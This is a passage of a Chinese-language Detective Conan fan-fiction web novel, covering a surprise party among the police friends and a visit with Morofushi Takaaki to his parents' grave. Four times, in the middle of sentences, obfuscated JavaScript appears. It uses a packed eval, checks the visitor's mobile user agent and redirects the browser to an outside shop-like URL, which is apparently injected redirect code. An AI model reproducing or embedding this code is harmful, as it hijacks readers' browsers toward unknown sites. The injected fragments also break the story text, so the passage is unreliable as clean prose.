“知道就好啊景老爷,”松田阵平收起手机比划了个手势,“hagi说自己是你请来的说客,到时候可别露馅了啊!” “知道了——” 诸伏景光也回应了一个在嘴巴上拉拉链的姿势,“记得把地址发来啊!” “那是班长的事——” 已经跑远的松田阵平只留下了声音在楼梯道里回荡。 . 诸伏景光比青木修晚到一步,这时候人已经不少了,好在青木修找到了位置。 “景光!这里!” 诸伏景光一眼就从人群里找到了青木修的位置,“想吃什么?” “老规矩——” 两份乌冬面摆在了桌子上。 “刚刚萩原警官和降谷警官来找我了,”青木修把筷子递过去,“他们说你们今天晚上有聚餐。” “嗯,”事先和松田阵平“串供”好的诸伏景光丝毫不慌,“研二应该和你说了?” “嗯,他们说让我也去,还说你怕我不答应。” 他抬头看向诸伏景光,“其实你可以直接和我说啊,你的要求……我不会不答应。” “这不是担心你不同意吗……下次一定!” 诸伏景光面上笑着,心里公平的给了几位同期一人一拳。 青木修现在终于敢看着别人的眼睛说话了,天知道诸伏景光花了多少功夫才纠正他以前的习惯。 “看报告说你们那边这段时间应该挺忙的?” “年中了嘛。” “还好今天不用加班。” 准确来说还是降谷零的情报工作更胜一筹,他们五个人什么时候加班什么时候休假掌握得一清二楚。 “唔……”青木修鼓着半边腮帮子,“其实这个工作量还好。” 诸伏景光一哽,如果非要和组织的工作量相比,现在的工作确实还好,就是工资低了点,报销比例没那么高了。 组织唯一还算是做人的地方大概就是工资和报销了——只要你有命。 和组织比起来,现在青木修面对的组织犯罪简直就是小孩子过家家,纯属闹着玩的水平。 “不过你最好有个心理准备。” “嗯?” 青木修几乎是条件反射进入了戒备状态。 “别紧张,”诸伏景光已经习以为常地抬手给他顺毛,“他们有可能会起哄让你喝酒……” 尤其是萩原研二和松田阵平,不用想都知道他俩绝对要逗逗青木修。 青木修被他这么一说,反倒有些好奇这几位平时看上去正经靠谱的警官私下里会是什么样子。 怀揣着一颗好奇心,青木修终于熬到了下班。 任务结束后诸伏景光把所有东西全部都上上下下换了一遍,誓要把组织残存的所有阴影抹去的架势。 原来的那辆车也不例外,交给降谷零直接用组织的“遗产”报销,又用公安下发的奖金换了辆新的,平时两个人换着开。 “你先睡会儿,等会儿到了我叫你。” 前一天青木修才刚通宵加班,诸伏景光非常自然地坐进了驾驶座。 “没事儿,我不困。” 青木修摇头,这是他第一次受邀请和别人出去聚餐,一切对于他都是新鲜的,根本无心犯困。 “那就出发喽。” 青木修一直觉得,和降谷零比起来,诸伏景光开车走得是□□路线,直到一次抓捕罪犯的时候,诸伏景光把临时征用的私家车开出了跑车的速度和越野的架势,他才深深意识到这群人能做同期不是没有原因的。 好在普通情况下诸伏景光开车还挺平稳,青木修没什么感觉两人就到了目的地。 降谷零今天难得比他俩早一步下班,诸伏景光看着手机里伊达航的短信,带着青木修在包间门口站定。 “等一下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14578390|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他拉住正要推门的青木修,抬起一脚—— “嘭!” 门口哗啦啦飘出了一片彩带。 “surprise!” 萩原研二从门口跳出来,“恭喜景老爷和小降谷正式任务结束!欢迎小青木加入!” 看里面正在理头发的降谷零,显然是被萩原研二偷袭成功了。 “不……” 注意到诸伏景光和青木修的眼神,降谷零倔强开口试图挽回形象,“我躲开了研二。” “所以……?” 诸伏景光用眼神示意降谷零头上还没摘掉的彩带。 “但是我没有躲开松田这家伙啊!” “嘭!嘭!” 又是两声响,埋伏已久的伊达航和松田阵平拉开了手里的小礼炮,飞舞的彩带把门口的两人兜头吹了一脸。 “哈哈哈哈哈hiro!现在知道发生了什么吗?!” 降谷零毫不客气地大笑起来,身姿敏捷地从位置上翻出来,控制住试图从彩带中逃离的诸伏景光。 “zero你居然也和松田是一伙的!” 诸伏景光和青木修试图挥开眼前的彩带,但是数量实在太多,从旁边的视角来看,他们俩就像是对着空气打了一套拳。 “哈哈哈哈景老爷你现在特别像对着空气无能狂怒!” “松田阵平你这家伙!” 虽然眼前依旧有大量彩带阻挡着视野,但是这并不妨碍诸伏景光“听风辩位”。 “青木!快来帮忙!” 他凭借着记忆抓上了一直站在他身边的青木修,后者原本还对于这样热烈的场面有些无所适从,但架不住这几人这样子闹腾,非常自然地跟着诸伏景光一起朝着声源准确无误地扑了过去! “啊啊啊啊hagi!班长!降谷!救我!” 松田阵平还没反应过来就被拖进了漫天的彩带里,唯余惨叫声还在原地。 “小阵平等等我!” 萩原研二看热闹不嫌事儿大,跟着加入了混战。 降谷零本来站在一旁围观,不料从刚才起就一直安安静静的伊达航突然动手,把他推了进去! “啊——” 好在降谷零眼疾手快抓住了伊达航的衣服,顺手把他也拖了进去。 这下子,六个人无一幸免,全部被彩带包围了。 “是谁踩我脚了?!” “啊啊啊不知道啊——呸呸!” “噗——” 诸伏景光抹了一把嘴,“彩带都飞到我嘴里了!” “啊啊啊金毛混蛋看招!” “卷毛混蛋你等着!” “所以……到底关我什么事啊!” 这是多次挣扎无果后有气无力的伊达航。 随后一片彩带落地,六个早就半五十的成年人才慢慢安静了下来。 “一会儿要把这里打扫干净啊。” “知道啦!” 萩原研二变魔术似的从包里拿出了一个小型吸尘器。 “……” 青木修看看他手上的东西又看看在场的几位警官。 “这也是你们准备好的?” “哦,这个是他自己准备的。” 萩原研二毫不犹豫也拆了松田阵平的台。 “他准备的是这个——当当!” 被桌布挡住的蛋糕被放上了餐桌。 青木修的眼睛“唰”的一下亮了起来。 82.第 82 章 “呐,之前在蛋糕店遇到你和景老爷的时候就看你们买了草莓蛋糕——” 伊达航无视松田阵平的挣扎,手脚麻利地拆开了包装—— 正是一个六寸的草莓蛋糕。 “谢谢你们!” 青木修下意识就要冲伊达航鞠躬,却被几个人七手八脚拉住。 “之前不是已经说好了嘛!” 萩原研二不知道从哪里变出了一份菜单,放在桌子上,又把青木修摁在那里坐好,“我们已经是朋友了啊!” “这……” “喜欢什么就点什么。” 诸伏景光也从降谷零的魔爪之下逃了出来,躲在青木修的一侧,逃跑之余甚至还能停下来,“他们对于事物的要求就是能吃就行。” 青木修还有些不好意思,奈何他们盛情难却,根本不给他拒绝的机会,他好说歹说,才让几个人同意一人点一道菜。 等菜还需要一会儿,六个人先是齐心协力把满地的彩带打扫干净,等青木修倒完垃圾回来一推门,桌子上已经摆了好几瓶开好的酒。 “……” 看来诸伏景光对他这几个同期不是一般的了解。 “菜还没上齐呢。” 他试图最后挣扎一下。 “没关系,我们可以先吃蛋糕。” 伊达航直接打破了他最后一点幻想。 “景光……” 被降谷零和松田阵平摁在沙发上的诸伏景光给了他一个爱莫能助的眼神。 青木修吞了下口水,莫名有一种新妇上门的错觉。 满满三杯酒下肚,救急的菜品才正式上齐,这时候青木修的脸颊上已经染上了一层薄粉,给他略有苍白的脸色平白添了一丝红润。 警视厅三人组就像是提前商量好了似的目标明确,对准了警察厅三人组花式劝酒。 “小修,刚和金毛混蛋和景老爷见面的时候你更喜欢谁啊?” 眼看着青木修的眼神逐渐变得迷茫,萩原研二突然话锋一转,从工作问题一下子跳跃到这里来。 微醺的青木修思考能力下降,再加上身处潜意识里觉得安全的环境,没怎么多做判断就给出了答案。 “景光,喜欢景光。” 和降谷零一起被松田阵平和伊达航夹在中间的诸伏景光忽然扭头,目光灼灼地看着这边。 萩原研二倒还挺清醒,注意到诸伏景光的眼神,侧过脸冲他挤挤眼睛,而被他架住的青木修看上去已经完全懵了。 诸伏景光微微皱着眉头思考了一会儿,终于明白过来萩原研二是想要干什么,连忙冲着松田阵平和伊达航一推手,示意他们安静一下。 一时间四个人都盯着这边两个人看。 “哦~” 萩原研二故意拖长声音应了一声,“按道理来说不应该是小降谷看上去更有欺骗性一点吗?” 青木修歪着头思考了几秒,“降谷比景光黑,我总觉得他是黑着脸在看我。” “……” “哈哈哈哈哈!” 包厢里安静了几秒,紧接着传来了除当事人之外的几位毫不遮掩的放肆笑声。 被他们几个的笑声吵到,青木修相当迷茫地四下看了几圈,正好没看见被伊达航挡住的诸伏景光。 “萩原,麻烦你过来一下。” 他冲萩原研二招招手,后者忙不迭示意身后的两位笑声可以小一点,自己十分配合地往青木修那边凑了凑。 “怎么了?” “你知不知道景光最喜欢什么?” “嗯?怎么突然这么问?” 萩原研二不用回头都能猜到背后诸伏景光那副强装镇定,实际上耳朵都恨不得贴过来的样子。 “他的生日快要到了,我想送他一件生日礼物。” “他肯定最喜欢你啊,要不你把自己送出去试试?” 萩原研二想都不想回了一句,青木修以肉眼可见的速度从脖子红到了耳朵尖。 萩原研二目测了一下,那温度应该都快能煎鸡蛋了。 “我、我的意思是……那种,正式一点的礼物。” 在聊天这方面青木修完全不是萩原研二的对手,短短几句话的功夫就已经开始手忙脚乱了,几乎每句话都搭配着动作努力形容。 “这样啊……要不你……” 萩原研二知道诸伏景光现在肯定要看够了戏,突然压低声音在青木修耳边迅速说了什么,偏偏他俩正好又背对着诸伏景光,也没法子看口型。 他眼睁睁看着青木修身边像是忽然亮起了一个小灯泡,整个人都灿烂了不少,“真的吗?!谢谢萩原!” 萩原研二非常贴心地把青木修转了个身,“喏,景老爷在那边。” 青木修一抬眼看见诸伏景光,眼神闪烁了一下,随即扬起笑容,“景光?你什么时候进来的?” “他刚刚才进来。” 松田阵平拖住了诸伏景光让他动弹不成,还顺道帮他答了一嘴。 “你刚刚在和研二说什么?” “嗯?什么说什么?”青木修的演技忽然回归,就连眼神看上去都清明了不少,“刚刚我在和萩原交流工作经验啊,组织犯罪那边遇到的现场有时候也挺复杂的呢。” 要不是诸伏景光就在现场听了全程,差点真的要相信青木修的话。 看着对方真诚的眼神,他都有点开始怀疑青木修到底是真醉还是假罪,要不然在自己面前演技能这么好? 事实证明,真的可以。 “刚刚说到了哪儿了……哦对了!”青木修一拍脑袋,“对于极道组织藏匿地点的安全排查!” “……这不是组织犯罪对策部这个星期的报告吗?” 降谷零在后方嘀咕,声音不大不小,正好能让诸伏景光听见。 “没骗我吗?” 诸伏景光凑近了些。 青木修不着痕迹后退一步,虽然没做到“脸不红”但是至少看起来“心不跳”。 诸伏景光瞬间依次看向降谷零和萩原研二,眼神意味非常明显:你们!教坏了小修! 不过萩原研二的这个法子只是看起来有点不厚道,实际上诸伏景光还真的有点期待青木修会给自己送什么礼物。 但目前可以确定的是,今年的生日,他有人陪了。 眼瞅萩原研二和松田阵平两个人一口一个“小修”,“小青木”喊得顺嘴,诸伏景光决定给他们一点小小的震撼。 “你们俩怎么叫他叫的这么熟练啊?” 他没注意已经在身后坐下的青木修正在干什么,“不要把他叫的那么可爱啊。” 猜到他想要干什么的降谷零悄悄憋住笑,一步一挪也走到诸伏景光身后,和青木修凑在一起不知道嘀嘀咕咕商量着什么。 “可是小修看起来就很可爱啊,对吧小阵平?” 松田阵平状似非常高冷地点点头。 “啊——” 诸伏景光拖长了音调,前一秒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14592838|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还理直气壮的萩原研二瞬间有了一种不好的感觉。 “友情提醒你们一下——青木三十三了。” “哈——?” 萩原研二瞬间破功,而诸伏景光又非常及时地补上一刀,“快点叫哥。” “他他他——” “嗯,没错,就是你想的那样。” “不能吧?” 松田阵平也有点没转过弯,“他是我们几个里面最大的?!” 诸伏景光装作推了下不存在的眼镜,“是这样的,快点,叫哥。” 他说完这句话就准备转身给两人让开位置,谁料迎面飞来了一张纸盘子。 刚刚降谷零和青木修从已经吃完的蛋糕托盘上刮下来一些奶油,抹在了一张纸盘上,看准诸伏景光转身的机会就呼了过去! “zero!” 诸伏景光一手拿掉黏在脸上的盘子,一手撑着桌子跳过去,目标明确直奔降谷零。 “hiro明明是青木给你呼的奶油你追我干什么?” 嘴上的质问理直气壮,身体却非常诚实开始逃跑的降谷零如是说。 “你不提议青木能干得出来这种事情吗?!” “hiro你见色忘友!” 青木修没掺和进两人的“决斗”,和伊达航两个人分坐在沙发两头,津津有味的看着这场追逐战。 “景光加油!” “青木!你这家伙怎么反水了!” 青木修丝毫没有心理负担,“景光的阵线就是我的阵线。” 在松田阵平的帮助下,诸伏景光最后还是成功地把奶油涂上了降谷零的脸。 青木修看着奶油在降谷零肤色映衬下愈发的白,没忍住笑出了声。 “也少不了你。” 他一口气还没笑完,诸伏景光立刻调转方向,把手上剩下的奶油统统抹在了他的脸上。 “你不是已经抹了降谷了吗?” 接过伊达航递来的纸巾,青木修变擦边问,“干嘛还有我的份啊?” “他是策划你是行动,你们俩罪名同等,我怎么能顾此失彼呢?” 青木修撇嘴,“你真小气。” 面对他的控诉,诸伏景光现在已经非常有经验了,“嗯,我小气,所以只要你一个人。” “……” 不出他所料,青木修脸上刚降下去没一会儿的温度又重新升高,再说不出来一个字。 “啧啧,”萩原研二和松田阵平两个人拉上剩下两位说悄悄话,“当时还在警校的时候我就说过吧,比小降谷更狠的是景老爷,他一出手……啧啧。” 伊达航非常赞成地点头,“青木被诸伏吃得死死的。” 降谷零……降谷零不知道该说什么,以前自己确实对青木修有偏见,但是现在来看两人的相处,似乎还是自己幼驯染要更加“牲口”一点。 “你们觉得不觉得,景老爷这样子……特别像在——” 萩原研二眼疾手快捂住松田阵平的嘴巴,“小心景老爷听到了!” 诸伏景光已经在朝他们这边看了! 松田阵平立刻安静下来,眼睁睁看着诸伏景光一步步朝自己走来。 只不过他一句“完了”还没说出口,就见站在原地发愣许久,像是死机了似的的青木修忽然出手,电光火石间亲上了诸伏景光。 …… ??? “……唉?!” 他们忽然觉得自己有点多余了。 83.第 83 章 在给青木修制作身份档案的时候,诸伏景光留了个心眼,把他的户口悄悄划进了诸伏家——任务结束之后,“绿川光”的身份作废,“诸伏景光”的身份重新启用,正好在户口上也有一些手续要走。 当然,这件事他没告诉青木修,诸伏高明最开始也不知道,还是收到了户籍科的人的电话才知道这件事。 自己弟弟做出这种事情倒也不奇怪,不过保险起见,他还是给诸伏景光打了个电话。 “青木的户口?” 诸伏景光当初办完手续之后就把这件事抛之脑后,还是诸伏高明把电话打来他才想起来。 “啊……” 当初编档案编得不亦乐乎的公安先生突然有点心虚。 无论从哪个角度看,诸伏高明都是家里唯一的大家长,没有提前知会他,说到底是自己不占理。 “嗯,”电话这头,诸伏高明倒是平静,“接到了户籍那边的电话,所以来向你确认一下。” “是,我把青木拉进我们家了……”他声音低了很多,“哥哥,你不会生气吧?” “你不是很早就做决定了吗?我以为你在病房里和我说起他的时候,就已经想好了。” “谢谢哥哥!” 诸伏景光眼睛都睁圆了,他就知道诸伏高明肯定也会同意! “那么就剩下最后一件事了。” 诸伏高明安静了一会儿,“还记得上次在病房里说好的吗?” “记得,”诸伏景光理智回笼,“这周我和他应该都没有加班,到时候我和青木回来一趟吧。” 其实青木修早前就比较隐晦地表示过想要去长野看一看,不过他脸皮薄一直没明说,再加上刚入职事务繁多一直没什么好机会,这才一直拖到了现在。 “这周末啊……” 诸伏高明的声音变得有点远,似乎是在翻看手机里的文件。 “挺好的,这周末轮到敢助值班。” 正在食堂和上原由衣一起吃午饭的大和敢助还不知道自己的周末已经被诸伏高明安排明白了。 . “什么?!” 诸伏景光一直到晚上回家才把这件事告诉青木修,后者瞬间跳了起来。 “回长野?!” 他的瞳孔非常明显地颤抖了几下,看起来吓得不轻,“这周末吗?!这么突然?!” “只是回去一趟而已,这么紧张干什么?” 青木修现在的样子活像是被急得团团转的小狗,“明天就是星期五了!我还要出外勤……还不知道高明哥喜欢什么……” 诸伏景光被他绕得头晕,伸手强行让他停下来。 “什么都不用准备……把你自己收拾好就行了。” “不行不行!” 出乎他的意料,青木修直摇头。 “怎么了?” 他的反应有些太强了,诸伏景光有些担心。 青木修整张脸都皱成了一团,憋了好半晌才含含糊糊哼了一句。 “……” “什么?” 诸伏景光凑近了也没听清楚,“是还有工作要处理吗?还是哪里不舒服?” 青木修虽说现在修养过来一些,还被诸伏景光养出了一点点肉,但底子终归是受了伤,时不时会有一点不舒服。 “也不是……”青木修被他追着问,躲也躲不过,最后没了办法,才闭上眼睛一副英勇就义的表情,“我还没有准备好!去见叔叔阿姨!” 他说完就后悔了,生怕诸伏景光误解,连忙又补充道:“不是不想见他们!就是……觉得我不配。” 青木修的头越来越低,完全不敢去看诸伏景光的表情。 “……” 客厅里陷入了短暂的沉默,青木修的心越悬越高,几乎是咬着后槽牙才克制住没有发抖。 “没有不配。” 良久,耳边传来诸伏景光的一声轻叹。 “你配得上任何事任何东西,”他抱住青木修,把两个人的距离拉得很近,“你是独一无二的,最好的青木修。” 温热的吻落在唇角,青木修狠狠哆嗦了一下。 “没关系的,去看看他们吧,我和哥哥也很久没有去看过爸爸妈妈了。” 虽然在这种情况下让青木修去看看诸伏夫妇有些残忍,但诸伏景光知道,他心里的这道坎必须要过去,只有这样他才能完完全全从过去的阴影里走出来,走向崭新的未来。 “……好。” 他听到青木修这样回答。 哪怕诸伏景光再三说明只是普普通通的回家一趟,但青木修还是买了不少东西,甚至担心这些买来的礼物不够有诚意,又在晚上赶工做了一盒糕点带上。 诸伏景光看在眼里,没有阻拦。 这样能让青木修安心。 一路上青木修都像一个即将接受老师家访的孩子一样正襟危坐,他们的车越是临近长野,他就越是肉眼可见的紧张,到最后甚至鼻尖上都冒出了汗珠。 “哥哥他人很好的,你们之前不是在医院里已经见过一次了吗?” 青木修咽了口口水,“我当时都不太清醒……” “放心吧,毕竟你现在也算是我们家的一份子,哥哥他肯定不会为难你。” “哦……啊?!” 青木修忽然扭头,他直觉诸伏景光这时候提起“一份子”应该没有表面上听起来这么简单。 “你……‘我们家’?” “嗯,”诸伏景光目不斜视,“你的户口现在在我们家啊,你没注意吗?” 他这句话是故意说的,当时青木修需要的身份证件办好之后,正主只是把它们匆匆看了第一页就小心翼翼地收好了,后面的内容根本没细看。 “这这这……” 青木修发现自己一对上诸伏景光脑子就变慢了,总是找不到合适的说法反驳对方。 “高明哥知道吗?!” “那当然,哥哥现在可是家里的大家长,这种事情必须知情。” 诸伏景光在心底给诸伏高明道了个歉,拿他做了挡箭牌。 “那我……” 青木修还是有点结巴,不过诸伏景光瞟了他一眼,脸色红润看起来没有不舒服,就是耳朵很红。 实际上也确实和诸伏景光推断的一样,青木修现在都快要哭了,他们这样子回去和见家长有什么区别?! 本来去看看诸伏夫妇就已经把青木修积攒的勇气消耗得差不多了,结果诸伏景光又跟他这么说! 车子正好进入长野市区,速度慢慢降了下来。趁着等红灯的时候,诸伏景光才侧过头看了眼青木修。 后者看上去恹恹地坐在副驾驶上,快要把自己缩成一只鹌鹑了。 “哥哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14599533|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的不会吃了你。” 青木修有气无力地看向他。 “压根就不是这个问题好吗!” 诸伏景光还等着他的下文呢,就见青木修丢下一句话之后又缩了回去。 眼看自己说什么都没什么效果,诸伏景光终于打消了劝导青木修的心思。等到时候见了面应该就没问题了。 诸伏宅是诸伏夫妇留下来的一个日式小别院,诸伏景光只能在外找地方停车。 “记得呼吸啊。” 他锁了车,看见正站在后备箱拿东西的青木修脸都憋红了,连忙冲上去帮他分担了一部分。 诸伏景光没看错,青木修确确实实已经慌得连呼吸都不干了,从前在组织里他都没有像今天这样紧张过。 可无论他有多么紧张,都改变不了今天要和诸伏高明见面的事实。 知道他们要来,诸伏高明也提前做了准备,接到诸伏景光电话时,他已经站在门口了。 “哥哥!” “景光。” 诸伏高明冲着弟弟轻轻颔首,实现却是落在跟在弟弟身后,半垂着头的青木修身上。 “啊——” 诸伏景光拖长了声音,直接把青木修推了进去。 “唔……高明哥好。” 青木修有点怯怯地看了诸伏高明一眼,“这是我自己做的……希望你收下。” 他的语气极为真诚,甚至是双手把装有糕点的盒子递上。 “欢迎你,小修。” 诸伏高明侧身让开了位置,“快进屋吧,茶已经泡好了。” 不得不说,他的态度着实让青木修狠狠松了一口气。诸伏景光丢给他一个“我就说吧”的眼神,牵起他追上诸伏高明。 “你还在警察医院的时候,景光简单跟我聊了有关你的事情。” 青木修的紧张太明显,诸伏高明贴心地率先打开话题。 “对于他曾经伤害过你的行为,我在这里表示歉意。” “不不不……”青木修手都摆出了残影,“景光他已经和我说过道歉了……嗯!我也原谅他了!” “这不一样,这是我作为兄长向你道歉。” 诸伏高明态度坚决,青木修也只能接受,但也没忘记给诸伏景光找补。 “景光真的很好……他有他的责任,我能理解,他真的很好。” 他现在无比确信眼前的两人是货真价实的亲兄弟——对上他们,自己都是一样的不善言辞。 “嗯,很高兴你能接受景光——他应该有和你说过吧?关于你户口的事情。” 来了! 青木修瞬间调整坐姿,像是回答老师问题的学生。 “嗯嗯,景光说,把我的户口划进了诸伏家。” 毕竟是面见“大家长”,青木修还是显得有些底气不足。 “不必紧张,只是向你确认一下景光做的事情你是否知情。” 不知怎的,诸伏高明忽然觉得自己的弟弟刚刚有那么一瞬间的……心虚? 他有些狐疑,又看了一眼诸伏景光,后者表情坦坦荡荡,一副“我认真听”的表情,再看青木修,也不像是撒谎的样子。 难道是自己看错了? 诸伏高明只得把疑问先按下不表。 再抬眼时,他已笑得眉眼舒展。 “欢迎你成为我们的家人。” 84.第 84 章 虽然诸伏兄弟两人都没有刻意提起,但青木修还是把“去看一看诸伏夫妇”这件事放在了心上。 转眼已经是周日,青木修犹豫了很久,还是鼓起勇气主动向诸伏景光提起。 “景光,我们什么时候……” “稍等。” 他一开口诸伏景光就知道他想说什么,扭身去找了正在处理文件的诸伏高明。兄弟两人窃窃私语片刻,很快做出了决定。 “青木!” 诸伏景光从玄关拿起一早收拾好的背包,叫住正惴惴不安在客厅里团团转的青木修,“哥哥去开车,我们俩去外面等他!” 青木修神情看起来像是狠狠松了一口气的样子,实则心跳又快了不少。 但是他知道这件事必须一鼓作气,要是半途打起退堂鼓,于情于理都说不过去。 诸伏景光注意到他起伏明显的胸膛,不动声色牵住了他冰凉的手。 青木修侧过头,小心翼翼看了他一眼。 “我在。” 诸伏景光的大拇指轻轻在青木修的手背上摩挲几下——这是一个充满安抚性的动作。 青木修脸颊的肌肉终于不再那么紧张,他尝试着挤出一个笑容,但眉宇间的悲伤根本抹不开。 “不要勉强自己。” 诸伏景光空着的手点上他的眉心,慢慢打着转。 青木修的眼睛湿漉漉的,眼神柔软又哀求,灰色的瞳孔里满是对诸伏家的歉意和自责。 “一切都过去了。” 诸伏景光亲了亲他的眼睛,“不要自责。” 说到底青木修和诸伏夫妇都是组织黑手下的受害者,受害者之间没有互相责备的必要。 “我……” 青木修微微加重了一些手上的力道,似乎是想确认诸伏景光不会就此离开自己。 诸伏景光掌心的温度源源不断转递到青木修的手心,抚平了他心中的涟漪。 诸伏夫妇安葬在差不多是墓园中心的位置,看得出来常常有人打扫,墓碑前放着一束未完全枯萎的鲜花,也没有浮尘。 今天只是一个普通的休息日,一路走过来墓园里只有零星的人,这就显得他们这三个人有些显眼了,注意到他们的人都会略有好奇的看一眼。 青木修简直要僵硬成一块木头,和墓园里其他的石碑融为一体,要不是诸伏景光还在拖着他前进,恐怕短短几百米他能走小半天。 以前诸伏景光在执行任务,个人档案直接被封存,只能由诸伏高明承担起祭扫的工作。 轻车熟路地打扫了墓碑周围,诸伏高明把位置让给了两个弟弟。 “……” 太久没能来看过父母,诸伏景光满肚子的话一时间反而不知道该怎么开口。 “我……” 他尝试了好几次也没能顺利说出一句完整的话。 “爸爸妈妈,我回来了。” 想了好几个开头都被诸伏景光自己否决了,最后还是决定先向诸伏夫妇报平安。 “现在我和哥哥都没事了……很抱歉这些年没能来看看你们……” 万事开头难,有了那句平安,剩下的话就变得顺畅很多,诸伏景光絮絮叨叨把自己这些年缺席的原因解释了下,又挑着说了些现在的工作生活。 他已经尽量把话简短了,但还是讲了一个多小时。期间诸伏高明和青木修就站在他身后,安安静静地听着,谁也没有说话。 “我现在很好,很幸福……” 把心中的话一吐为快后,诸伏景光难得露出了些许紧张。 “呼……” 他慢慢吐出一口气,把身后的青木修一下子拽到了身边,“这是青木修,是我的爱人。” 青木修动作一顿,瞬间从脖子红到了耳朵尖。 诸伏景光轻轻笑起来,“你们比我还要更早一些认识他……就是当年你们在制药公司遇见的那个孩子。” 他把青木修往前推了推,“让他重新和你们做一个自我介绍吧。” “……” 正前方只剩下了青木修一个人,这一片小小的空间立刻陷入了一阵窒闷的沉默,但是后方并排而立的诸伏兄弟都没有去打破这一阵沉默。 青木修嘴唇张张合合,一连吐出了好几个气音。他双手紧紧握着,指甲都在掌心扣出了血。 “……我是……青木修。” 知道嘴唇也被他自己咬出了一道血痕,他才成功的说出第一句话。 “很谢谢你们,那是我第一次知道‘爸爸妈妈’的概念。” 当年往事又重新浮现在眼前,青木修用力眨了下眼睛,“你们的感觉没有错……真的很谢谢你们……” 他用力地想要把眼泪憋回去,反倒让更多的眼泪争先恐后地涌了出来,怎么擦也擦不干净。 “你们很好,景光和高明哥也很好……我能活下来也是因为景光。” 他原本就把头埋得很深,现在更是连脊背都弯了下去。 “对不起……对不起……” 诸伏景光站在后方,全神贯注观察着青木修的状态,只见他突然后撤了半步,然后毫不犹豫地跪了下来。 他伸手就要去拽青木修,却被一旁的诸伏高明摁住。 “让他哭出来。” 诸伏高明摇摇头,冲着诸伏景光比了一个口型。 哪怕无论是诸伏夫妇还是他们兄弟俩都不会迁怒于青木修,但是如果不让青木修这么做, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14611985|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恐怕他日后也无法获得安宁。 泪水顺着青木修的脸颊落下,滴在诸伏夫妇墓碑前的地上,很快就融于泥土消失不见。 他并非嚎啕大哭,相反,如果不是因为距离足够近,诸伏兄弟几乎都听不见他的啜泣声。但是他剧烈颤抖的肩膀却暴露了他心中的痛苦。 “对不起……” 一时间,只有青木修的呢喃在空气中徘徊。 后背一热,原来是诸伏景光从后面抱住了他。 “没有人怪你。” 诸伏高明平和地看着青木修,正欲开口,却有一阵微风吹过,撩动了三人的头发。 今天本应是个无风天。 一朵不知名的花追上风的尾巴,轻轻落在了诸伏夫妇的墓碑上。 三个人都怔住了。 诸伏景光鼻尖一酸,眼眶也有一点发热。 诸伏高明长长叹息一声,把两个弟弟都紧紧抱进怀里。 “看样子爸妈一直都在我们身边。” 他们从未离开。 诸伏景光一直以为任务给自己带来的影响并不大,没想到只是一直没有表现出来而已。 恐惧、迷茫、痛苦和思念一样不少,它们极为懂事的藏在了最角落,让诸伏景光自己都没有发现。直到今天,才真正爆发出来。 一边是爱人,一边是兄长,身后还有父母,他终于可以放下肩膀上的担子肆意发泄一次。 诸伏高明同样动容,他冷静自持,他成熟理性,因为他是哥哥,是诸伏家的大家长,所以他才能忍住这么多年不去打探弟弟的消息,独自一人来看望父母,他知道必须有一个人要承担起责任。 但是现在,弟弟平安回家,还带回来了另一个弟弟。 他终于能歇一歇了。 今天的墓园没有青木修想象中的寒冷,甚至还有阳光,站的久了都能感到一些暖意。 究竟是身体被太阳晒得发热,还是心里的温暖带来的错觉? 青木修有点搞不清,也不想分清楚。 他觉得现在这样就很好,世界上总有一些事情不是非得刨根问底弄个一清二楚才好。 “杜林标”留给他的痕迹越来越浅淡,而“青木修”的人生却越来越明晰。 一无所有的杜林标和组织一起被彻底埋葬在了过去,而活下来的青木修却拥有整个世界。 最后还是诸伏景光先笑了一声,他的眼泪都还在眼角挂着,可是脸上已经有了笑容。 “哥,以后我们一家人再也不要分开了。” 诸伏高明抢在抬头之前已经把眼泪擦干净了,看着诸伏景光的时候已然又是那个大家长一样令人安心的高明警官,“永使无亏缺,长对日团圆。” 85.第 85 章 